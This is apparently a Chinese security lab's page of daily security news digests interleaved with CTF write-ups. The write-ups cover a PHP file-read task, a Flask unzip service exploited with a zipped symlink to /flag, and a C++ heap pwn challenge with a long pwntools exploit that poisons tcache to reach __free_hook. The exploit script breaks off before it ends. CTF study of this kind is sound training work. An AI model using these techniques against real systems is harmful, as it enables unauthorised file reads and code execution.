网络安全日报 2021年11月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的 Linux CronRAT 利用任务计划逃避检测 https://securityaffairs.co/wordpress/125000/cyber-crime/linux-cronrat-magecart-attacks.html 2、伊朗黑客利用MSHTML 漏洞窃取 Google 和 Instagram 凭据 https://securityaffairs.co/wordpress/124984/apt/iran-apt-microsoft-mshtml-exploit.html 3、新型JavaScript恶意软件利用RAT感染目标设备 https://www.bleepingcomputer.com/news/security/stealthy-new-javascript-malware-infects-windows-pcs-with-rats/ 4、法国Bureau Veritas公司遭网络攻击服务器离线 https://www.ship-technology.com/news/bureau-veritas-hit-cyberattack/ 5、Cronin公司暴露了9200万条员工和客户的数据 https://www.websiteplanet.com/blog/cronin-leak-report/ 6、乌克兰逮捕了苹果钓鱼攻击黑客组织"Phoenix"成员 https://www.infosecurity-magazine.com/news/ukrainian-cops-bust-mobile-device/ 7、FBI警告针对知名品牌客户的网络钓鱼 https://www.bleepingcomputer.com/news/security/fbi-warns-of-phishing-targeting-high-profile-brands-customers/ 8、最多缩水90% 安全研究人员对微软漏洞赏金感到失望 https://www.cnbeta.com/articles/tech/1206729.htm 9、安全人员在研华 R-SeeNet 监控软件中发现了多个漏洞 https://blog.talosintelligence.com/2021/11/re-see-net-advantched-vuln-spotlight.html 10、威胁组织利用Tardigrade恶意软件攻击疫苗制造商 https://www.bleepingcomputer.com/news/security/hackers-target-biomanufacturing-with-stealthy-tardigrade-malware/
对一道n1ctf赛题的详细分析
最近做了一道N1CTF2021的题目,学到了不少,分享给大家共同学习。 0x01 题目详情 题目如下: 源码如下: <?php //flag is /flag $path=$_POST['path']; $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){ •    die(); } } if(file_put_contents($name, $time)){ • echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>"; } $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path)); if(is_file($check)){ • echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }页面下方输出的是日志文件。要拿到flag,我首先关注到下方的两个if语句,先看最下面这个: if(is_file($check)){ echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }如果$check是一个文件,那么读取他的内容,并输出。如果$check的值刚好是/flag,那这道题就解出来了。而$check是由这行代码来的: $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));此处使用了preg_replace函数,将$path文件内容里的换行空格等内容删除。而$path最初是通过POST请求提交的,之后进行了过滤,不能包含一些字符: $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){    die(); }除了POST请求提交path参数我们可以控制,另外一个参数time通过GET方式和伪协议的方式我们也可以控制: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; if(file_put_contents($name, $time)){ echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";而$time的内容会被写入$name所在的文件中。 0x02 利用思路 整个过程如下: 我们可控的地方有path参数和time参数,time参数的内容最终会写入到name文件中。name文件会在每次请求的时候输出,我们不可控,但能够得知name文件的路径。path参数对应的文件名可控,但其文件内容不可控,而check文件名来源于path文件的内容,最终会读取并输出check文件的内容。 所以,我们要想读取/flag的内容,我们就要使check文件内容等于/flag,即可直接在网页中显示出/flag的内容。check文件名可通过path参数进行控制,而name文件内容我们可以通过time参数控制,所以,我们要想方法把/flag这个字符串写入name文件内容中,然后将check文件名设置为name文件即可。 0x03 利用过程 第一步,我们首先将/flag字符串写入time文件。 程序通过如下代码获得time的值: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");其中涉及到php的伪协议php://input,它可以读取我们POST请求的内容,time参数如果被设置,同时有POST数据,POST数据将会赋值给$time,我在本机进行调试如下: 内容写入到time对应的txt文件中: 为什么写入的内容不是/flag?因为有date函数并结果urldecode,所以,改成如下即可: 查看对应的文件即为/flag: 而我们将path参数设置为time对应的txt文件名,那么check文件名就会被设置为/flag,最终读取输出flag。 按照本地测试的效果,首先传递time参数,将/flag写入文件,然后记下页面输出的txt文件路径: 然后再次请求时,指定path为txt文件路径/var/www/tmp/16375737971145120615.txt,得到flag内容:
网络安全日报 2021年11月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware 修补了vCenter Server 中的文件读取和SSRF 漏洞 https://www.securityweek.com/vmware-patches-file-read-ssrf-vulnerabilities-vcenter-server 2、苹果起诉 NSO Group滥用Pegasus间谍软件 https://securityaffairs.co/wordpress/124954/laws-and-regulations/apple-sues-nso-group.html 3、VirtualBox 拒绝服务漏洞细节披露 https://securityaffairs.co/wordpress/124944/security/oracle-virtualbox-flaws.html 4、APT C-23 利用新的 Android 间谍软件变种攻击中东用户 https://thehackernews.com/2021/11/apt-c-23-hackers-using-new-android.html 5、黑客利用Tardigrade恶意软件针对生物制造业 https://www.bleepingcomputer.com/news/security/hackers-target-biomanufacturing-with-stealthy-tardigrade-malware/ 6、联发科芯片多个漏洞可导致被窃听,影响全球37%的手机和物理网设备 https://thehackernews.com/2021/11/eavesdropping-bugs-in-mediatek-chips.html 7、超过4000家英国零售商受到Magecart攻击 https://www.infosecurity-magazine.com/news/4000-uk-retailers-compromised/ 8、研究人员警告名为Printjack的三种打印机攻击 https://www.bleepingcomputer.com/news/security/researchers-warn-of-severe-risks-from-printjack-printer-attacks/ 9、思科新漏洞影响防火墙安全 https://www.infosecurity-magazine.com/news/cisco-flaw-affects-firewalls/ 10、研究人员发现使用指纹照片、打印机和胶水,便可绕过生物识别验证 https://www.bleepingcomputer.com/news/security/biometric-auth-bypassed-using-fingerprint-photo-printer-and-glue/
网络安全日报 2021年11月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、恶意软件已经在尝试利用新的 Windows Installer 零日漏洞 https://securityaffairs.co/wordpress/124940/malware/windows-installer-zero-day-malware.html 2、Android.Cynos.7.origin 木马感染 900 多万台安卓设备 https://securityaffairs.co/wordpress/124927/malware/android-cynos-7-origin-trojan-infections.html 3、专家警告 Imunify360 安全平台存在 RCE 漏洞 https://securityaffairs.co/wordpress/124922/security/imunify360-rce.html 4、研究人员发布Exchange CVE-2021-42321 RCE 漏洞的 PoC 代码 https://securityaffairs.co/wordpress/124917/hacking/microsoft-exchange-cve-2021-42321-rce-poc.html 5、加密货币交易所BTC-Alpha遭到勒索软件攻击 https://www.techtarget.com/searchsecurity/news/252509877/Cryptocurrency-exchange-BTC-Alpha-confirms-ransomware-attack 6、WSpot Wi-Fi管理软件公司泄露数百万巴西人数据 https://www.zdnet.com/article/millions-of-brazilians-exposed-in-wi-fi-management-software-firm-leak/ 7、Facebook要求洛杉矶警方停止使用虚假账户监视其用户 https://tech.slashdot.org/story/21/11/19/1930212/facebook-tells-la-police-to-stop-spying-on-users-with-fake-accounts 8、飞利浦、CISA 就医疗器械产品安全漏洞发出警告 https://www.inforisktoday.com/philips-cisa-warn-medical-device-product-security-flaws-a-17958 9、加州Pizza Kitchen遭遇数据泄露 https://securityaffairs.co/wordpress/124785/data-breach/california-pizza-kitchen-data-breach.html 10、“幼象”组织在南亚地区的网络攻击活动分析 https://mp.weixin.qq.com/s/9emBT2btFA811QLRjU54tA
对一道CTF题的详细分析
https://www.yijinglab.com/pages/CTFLaboratory.jsp0x01 前言 最近身边有萌新想打ctf,我作为一个曾经接触过一点点ctf的业余菜鸡,就索性做了一道Web题。这篇文章主要是面向想开始打ctf的萌新,所以很多地方可能都比较简单。如有错误之处,欢迎各位指正。 0x02 Flask 简介 Flask库是一个非常小型的Python Web开发框架。它有两个主要依赖:路由、调试和 Web 服务器网关接口(Web Server Gateway Interface,WSGI)子系统由 Werkzeug(http://werkzeug.pocoo.org/)提供;模板系统由 Jinja2(http://jinja.pocoo.org/)提供。Werkzeug 和 Jinjia2 都是由 Flask 的核心开发者开发而成。这里我们要重点了解一下路由。 Flask需要知道对每个 URL 请求该运行哪些代码,所以保存了一个 URL 到Python 函数之间的映射关系。处理 URL 和函数之间关系的程序称为路由。在 Flask 程序中定义路由的最简便方式,是使用程序实例提供的 app.route 修饰器,把修饰的函数注册为路由。下面的例子说明了如何使用这个修饰器声明路由: @app.route('/') def index(): return '<h1>Hello World!</h1>' 这个例子就是把 index() 函数注册为程序根地址的处理程序。如果部署程序的服务器域名为 www.example.com,在浏览器中访问 http://www.example.com 后,会触发服务器执行 index() 函数。这个函数的返回值称为响应,是客户端接收到的内容。如果客户端是 Web 浏览器,响应就是显示给用户查看的文档。 要启动服务器也很简单,程序实例用 run 方法启动 Flask 集成的开发 Web 服务器即可: if __name__ == '__main__':    app.run(debug=True) 其中,name=='main' 是 Python 的惯常用法,在这里确保直接执行这个脚本时才启动开发Web 服务器。服务器启动后,会进入轮询,等待并处理请求。轮询会一直运行,直到程序停止,比如按Ctrl-C 键。有一些选项参数可被 app.run() 函数接受用于设置 Web 服务器的操作模式。在开发过程中启用调试模式会带来一些便利,比如说激活调试器和重载程序。要想启用调试模式,我们可以把 debug 参数设为 True。要想让所有主机都可以访问,可以设置参数host="0.0.0.0"。 0x03 详细分析 赛题如下: 该Web题下载下来以后源码如下: import os import json from shutil import copyfile from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect from werkzeug.middleware.proxy_fix import ProxyFix from flask import jsonify from hashlib import md5 import signal from http.server import HTTPServer, SimpleHTTPRequestHandler os.environ['TEMP']='/dev/shm' app = Flask("access") app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1) @app.route('/',methods=['POST', 'GET']) def index():    if request.method == 'POST':        f=request.files['file']        os.system("rm -rf /dev/shm/zip/media/*")        path=os.path.join("/dev/shm/zip/media",'tmp.zip')        f.save(path)        os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')        os.system('rm /dev/shm/zip/media/tmp.zip')        return redirect('/media/')    response = render_template('index.html')    return response @app.route('/media/',methods=['GET']) @app.route('/media',methods=['GET']) @app.route('/media/<path>',methods=['GET']) def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x os.system('mkdir /dev/shm/zip') os.system('mkdir /dev/shm/zip/media') app.run(host="0.0.0.0",port=8080,debug=False,threaded=True) 接下来就开始详细介绍。 这是一个用来实现文件在线解压的网站,首先看首页对应的index函数,当访问网站首页时,可以采用GET和POST请求两种方式,对应的响应函数为index函数。题目里还有两个html文档,一个用来当上传文件时,一个用来渲染页面,这里就不贴出来了。当在首页通过html上传文档时,会执行index函数,会执行如下命令来删除文件: rm -rf /dev/shm/zip/media/* 然后拼接路径,并将上传的文件保存到这个路径:/dev/shm/zip/media/tmp.zip 之后执行命令解压: timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/ 解压后将压缩文件删除: rm /dev/shm/zip/media/tmp.zip 第二个函数是media函数,有三种url请求都由这个函数来响应,其中有一个需要特别关注的,就是 @app.route('/media/<path>',methods=['GET']) 这是动态路由,就是当请求的时候如果在media的后面再加上一个字符串,可以将这个字符串作为参数传递给path变量,执行media函数中的内容: def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x 仔细观察可以看到,path作为参数会被拼接到npath变量中,然后当npath不存在时,返回404;当npath不是目录时,会使用open函数打开,并返回给请求者。题目中提到了flag位于根目录,而path我们又可以控制,那么我们只要能够通过一种方式,将npath变成/flag是不是就可以了呢?心里想,直接用相对路径../实现路径穿越不就妥了?这么简单的吗? 0x04 峰回路转 说干就干,我把path设置成../../../../flag,直接在浏览器请求http://example.com/media/../../../../flag 结果发现不对,浏览器直接把我这些../全去掉了?url变成了http://example.com/media/flag,whatfuck? 第一反应是浏览器的问题,那就换个浏览器,结果发现也不行,然后想了想,那就用burp suite吧,结果还是不行。 最后,我在自己电脑上运行这个代码,开始各种调试,最后发现把斜杠换成两个反斜杠就可以了,能够实现路径穿越,读取上一层的文件内容,可是换成题目中就是不行。我仔细想了想应该是因为我本地是windows,而服务器是Linux,所以才不行的。眼看着时间不早了该睡觉了,还是没搞出来,于是喝了一杯茶,想了想,最后灵机一动,还是没想出来怎么搞。算了,睡觉吧。 到了第二天早上,我觉得这个必须得搞定。于是,我想到了Linux中的软链接!突然一下子就明白该怎么搞了!于是,打开我尘封已久的kali虚拟机,然后慢慢悠悠的敲下了如下命令: 成功创建了一个指向/flag的软链接,但是这个软链接怎么利用呢?这个网站既然是用来在线解压的,那我就把软链接打成一个压缩包传上去,它直接就会被解压到当前目录。然后我直接点击该文件,直接就下载下来一个车文件,打开即可看到flag内容为: flag{NeV3r_trUSt_Any_C0mpresSeD_file} 最后终于搞定了,这一刻还是很开心的。作为一个业余ctf菜鸡选手,实在是不容易。还是要多做题,多开阔眼界,学习各种骚操作!
网络安全日报 2021年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、严重的代码执行漏洞影响基于 OpenVPN 的应用程序 https://www.securityweek.com/severe-code-execution-vulnerabilities-affect-openvpn-based-applications 2、研究人员破解 Conti 勒索软件基础设施 https://www.securityweek.com/researchers-hack-conti-ransomware-infrastructure 3、GoDaddy 泄露了 120 万个托管的 WordPress 客户帐户 https://securityaffairs.co/wordpress/124894/data-breach/godaddy-data-breach.html 4、伊朗最大的私人航空公司-马汉航空遭网络攻击 https://www.securityweek.com/irans-mahan-air-says-hit-cyberattack 5、印度旁遮普国民银行服务器漏洞暴露客户数据 https://www.livemint.com/industry/banking/pnb-customers-data-exposed-for-seven-months-due-to-server-vulnerability-report-11637486043143.html 6、英国数据存储公司Stor-A-File遭黑客攻击泄露客户信息 https://www.dailymail.co.uk/news/article-10225281/Highly-sensitive-medical-documents-leaked-online-hackers-3million-Bitcoin-ransom-rejected.html 7、美国银行业监管机构要求银行在36小时内通报网络安全事件 https://securityaffairs.co/wordpress/124826/laws-and-regulations/u-s-banking-regulators-rule.html 8、企业间谍黑客组织RedCurl回归 https://thehackernews.com/2021/11/redcurl-corporate-espionage-hackers.html 9、美国证券交易委员会警告称诈骗者冒充SEC官员 https://www.bleepingcomputer.com/news/security/us-sec-warns-investors-of-ongoing-govt-impersonation-attacks/ 10、印尼国家警察服务器遭黑客入侵泄露警察数据 https://www.databreaches.net/indonesia-probe-police-hack-in-latest-cyber-breach/
网络安全日报 2021年11月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的"SharkBot"安卓银行木马以美国、英国和意大利为目标 https://www.securityweek.com/new-%E2%80%98sharkbot%E2%80%99-android-banking-malware-hitting-us-uk-and-italy-targets 2、恶意Python包窃取Discord令牌并且安装shell https://securityaffairs.co/wordpress/124861/hacking/malicious-pypi-python-packages.html 3、攻击者破坏 Exchange 服务器以劫持内部电子邮件 https://securityaffairs.co/wordpress/124838/hacking/microsoft-exchange-servers-hack.html 4、研究揭示了最常见的前 200 个密码 https://securityaffairs.co/wordpress/124815/security/top-used-passwords.html 5、600 万台 Sky 路由器遭受攻击近 1.5 年 https://threatpost.com/6m-sky-routers-exposed-18-months/176483/ 6、新Aggah活动劫持剪贴板以替换加密货币地址 https://www.riskiq.com/blog/external-threat-management/aggah-clipboard-hijack-crypto/ 7、Memento勒索软件将文件锁定在加密WinRAR中 https://www.bleepingcomputer.com/news/security/new-memento-ransomware-switches-to-winrar-after-failing-at-encryption/ 8、钓鱼邮件冒充TSA PreCheck网站欺骗美国旅客 https://www.bleepingcomputer.com/news/security/fake-tsa-precheck-sites-scam-us-travelers-with-fake-renewals/ 9、Vestas公司遭到网络攻击关闭部分IT系统 https://www.reuters.com/markets/europe/vestas-hit-by-cyber-security-incident-shuts-some-it-systems-2021-11-20/ 10、CKEditor修复影响Drupal和下游应用的漏洞 https://portswigger.net/daily-swig/ckeditor-vulnerabilities-pose-xss-threat-to-drupal-and-other-downstream-applications
网络安全日报 2021年11月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Microsoft 解决了 Azure AD 中的一个高危漏洞 https://securityaffairs.co/wordpress/124755/security/microsoft-azure-ad-flaw.html 2、FBI 警告 FatPipe 产品中一个零日漏洞已被利用 https://securityaffairs.co/wordpress/124742/security/zero-day-fatpipe.html 3、以色列国防部长的清洁工被控为伊朗黑客从事间谍活动 https://www.securityweek.com/israel-defence-ministers-cleaner-charged-spying-iran 4、基于 Golang 的恶意软件高速增长 https://cyware.com/news/the-rising-popularity-of-golang-based-malware-87b9e7d7 5、新的鱼叉式网络钓鱼活动利用 Glitch 平台窃取员工凭据 https://threatpost.com/spear-phishing-exploits-glitch-steal-credentials/176449/ 6、研究人员发现BrazKing Android银行木马新版本 https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/ 7、钓鱼邮件伪装成Netflix服务窃取用户信用卡信息 https://threatpost.com/netflix-bait-phishers-fake-signups/176422/ 8、网络钓鱼活动以 Tiktok KOL用户为目标 https://securityaffairs.co/wordpress/124728/hacking/tiktok-influencer-phishing-campaign.html 9、LibreCAD 中发现多个代码执行漏洞 https://blog.talosintelligence.com/2021/11/libre-cad-vuln-spotlight-.html 10、朝鲜APT组织 TA406针对外交专家、记者和NGO https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals
网络安全日报 2021年11月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Netgear 修补影响多个产品的代码执行漏洞 https://www.securityweek.com/netgear-patches-code-execution-vulnerability-affecting-many-products 2、英国下令对 NVIDIA 收购 Arm 的交易进行国家安全审查 https://www.securityweek.com/uk-orders-national-security-review-nvidia-deal-buy-arm 3、CISA 为联邦机构发布了事件和漏洞响应手册 https://securityaffairs.co/wordpress/124705/security/cisa-incident-response-playbook.html 4、StripChat 数百万用户数据遭泄露 https://securityaffairs.co/wordpress/124665/data-breach/adult-cam-site-stripchat-exposes-the-data-of-millions-of-users-and-cam-models.html 5、攻击者利用 "域前置" 技术重定向缅甸政府网站流量 http://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html 6、Microsoft 修复了 Exchange Server 中的反射型 XSS漏洞 https://portswigger.net/daily-swig/microsoft-fixes-reflected-xss-in-exchange-server 7、Concrete CMS 存在多个安全漏洞 https://portswigger.net/daily-swig/server-side-vulnerabilities-in-concrete-cms-put-thousands-of-websites-under-threat 8、Lantronix PremierWave 2050 中的漏洞可导致代码执行、文件删除 https://blog.talosintelligence.com/2021/11/lantronix-premier-wave-vuln-spotlight.html 9、新的Emotet垃圾邮件活动向全球发送恶意文档 https://www.bleepingcomputer.com/news/security/here-are-the-new-emotet-spam-campaigns-hitting-mailboxes-worldwide/ 10、黑客入侵WordPress网站显示虚假的加密通知 https://www.bleepingcomputer.com/news/security/wordpress-sites-are-being-hacked-in-fake-ransomware-attacks/
CTF中一道C++数据结构堆风水pwn的利用分享
分享一道CTF线下比赛中由c++编写的一道高质量赛题。 附件领取:关注【蚁景网安实验室】公众号,回复 赛题 即可领取 https://www.yijinglab.com/pages/CTFLaboratory.jsp 初步分析 程序运行起来看起来似乎是一道常规的菜单堆题: libc环境: 是Glibc 2.27-3ubuntu1.4,这个版本与2.31版本很像,都有key机制,一定程度上防止了double free的攻击。 回到程序,程序的功能有插入,展示和删除,我们具体用IDA打开来看看程序是个什么逻辑。 可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个demo来测试程序,如果申请以下堆块,那么堆结构如下面的图:    add(0, 0x60, 'a')    add(4, 0x60, 'a')    add(2, 0x60, 'a')    add(9, 0x60, 'a')    add(3, 0x60, 'a')    add(7, 0x60, 'a') 其中0x40大小的为node部分数据,其余大小的为其data数据,将其画为二叉树长成如下样子 左右子树根据其index分如上图,并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。 经过逐步调试和逆向加深对程序的理解后,笔者分析node结构体如下: struct node {  __int64 idx;  // 节点号  __int64 user_size; // 用户输入的size  __int64 *self_heap_buf; // 存储数据的buf  node *left; // 左孩子  node *right; // 右孩子  node *father; // 父节点 };具体的漏洞和代码逆向请看下文。 漏洞分析与逻辑触发点 漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个memcpy的函数,这个函数的对于节点size的处理是有问题的。 在申请节点的时候,其size的算法是这样的: 做了一个类似于align的操作,这个操作是很安全的,人为扩展了一下chunk,使得我们能够申请的最大的size和其align之后最小的size一样大,但是下面的删除节点的操作就有bug了: v2 = (unsigned __int64)tmp_target->user_size >> 3;写个poc来看下我们能溢出的字节数量 def poc():    for size in range(0x10, 0xff + 1):        biggerSize = ((size >> 3) + 1) * 8        smallerSize = (size >> 3) * 8        if biggerSize > smallerSize:            print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize))) poc() 注意到我们在触发这个逻辑的时候,有部分size是比biggerSize要小的,最多可以溢出7字节。 整个删除节点的逻辑如下: 想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。 分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下: 首先是获得该节点中右子树中最小的元素(按idx确定大小,因为下面一直走的是左子树的逻辑) 然后将其要替换的节点传入到带有bug的函数中,在此函数中,程序重新申请了一块buf,然后复制要替换节点的数据到新的buf中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的buf的size给少了,控制得当能够溢出七个字节。 然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。 在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向ctrl+CV编程。 然后进入一个删除节点的函数: unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node) {  struct node *v3; // rbx  struct node *v4; // rbx  struct node *v5; // rbx  struct node *v6; // rbx  unsigned __int64 v8; // [rsp+28h] [rbp-18h]  v8 = __readfsqword(0x28u);  if ( *to_delete_node == *father_node )        // only root node {    if ( *((_DWORD *)father_node + 4) == 1 )    // only a node   {      v3 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v3);     }      *father_node = 0LL;      --*((_DWORD *)father_node + 4);      *to_delete_node = 0LL;   }    else                                        // has right children   {      *father_node = (*father_node)->right;     (*father_node)->father = 0LL;             // because of the "to_delete_node == father_node", the children will be the root node      v4 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v4);     }      *to_delete_node = 0LL;   } }  else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node: {   (*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v5 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v5);   }    *to_delete_node = 0LL; }  else                                          // if the node to delete is in the right of its father node: {   (*tmp_father_node)->right = (*to_delete_node)->right;    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v6 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v6);   }    *to_delete_node = 0LL; }  return __readfsqword(0x28u) ^ v8; }分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。 漏洞利用 完整exp如下: from pwn import * import sys arch =  64 challenge = "./pwn1" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "" local = int(sys.argv[1]) elf = ELF(challenge)                                                                               context.os = 'linux' context.terminal = ['tmux', 'splitw', '-hp', '65'] if local:    if libc_path_local:        io = process(challenge,env = {"LD_PRELOAD":libc_path_local})        # io = gdb.debug(challenge, 'b *$rebase(0x279f)')        libc = ELF(libc_path_local)    else:        io = process(challenge) else:    io = remote("node4.buuoj.cn", 25965)    if libc_path_remote:        libc = ELF(libc_path_remote) if arch == 64:    context.arch = 'amd64' elif arch == 32:    context.arch = 'i386' def dbg():    context.log_level = 'debug' def echo(content):    print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m") p   = lambda     : pause() s   = lambda x   : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x   : io.recvuntil(x) rl = lambda     : io.recvline() sd = lambda x   : io.send(x) sl = lambda x   : io.sendline(x) ia = lambda     : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x   : u32(x.ljust(4,b'\x00')) uu64 = lambda x   : u64(x.ljust(8,b'\x00')) bps = [] pie = 0 def gdba():    if local == 0:        return 0    cmd ='b *$rebase(0x1ee2)\n'    if pie:        base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)        cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])        cmd +='set base={:#x}\n'.format(base)    else:        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])    gdb.attach(io,cmd) _add,_free,_show = 2,3,1 menu = "3.remove_information" def add(idx, size, content):    sla(menu, str(_add))    sla("idx:", str(idx))    sla('size:', str(size))    sa("content:", content)    # ru('addr=')    # return int(io.recv(5), base=16) def free(idx):    sla(menu, str(_free))    sla("idx:", str(idx)) def show():    sla(menu, str(_show)) def exp():    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))    # The last one chunks are buF areas of Number 3    # The last two chunks are buF areas of Number b    free(11) # 5c0 will corrupt    __free_hook = libc_base + libc.sym['__free_hook']    system = libc_base + libc.sym['system']    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))        add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)    free(0)    free(4)    free(15)    free(10)    free(13)    # Get the second chunk of 0x30    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)    free(10)    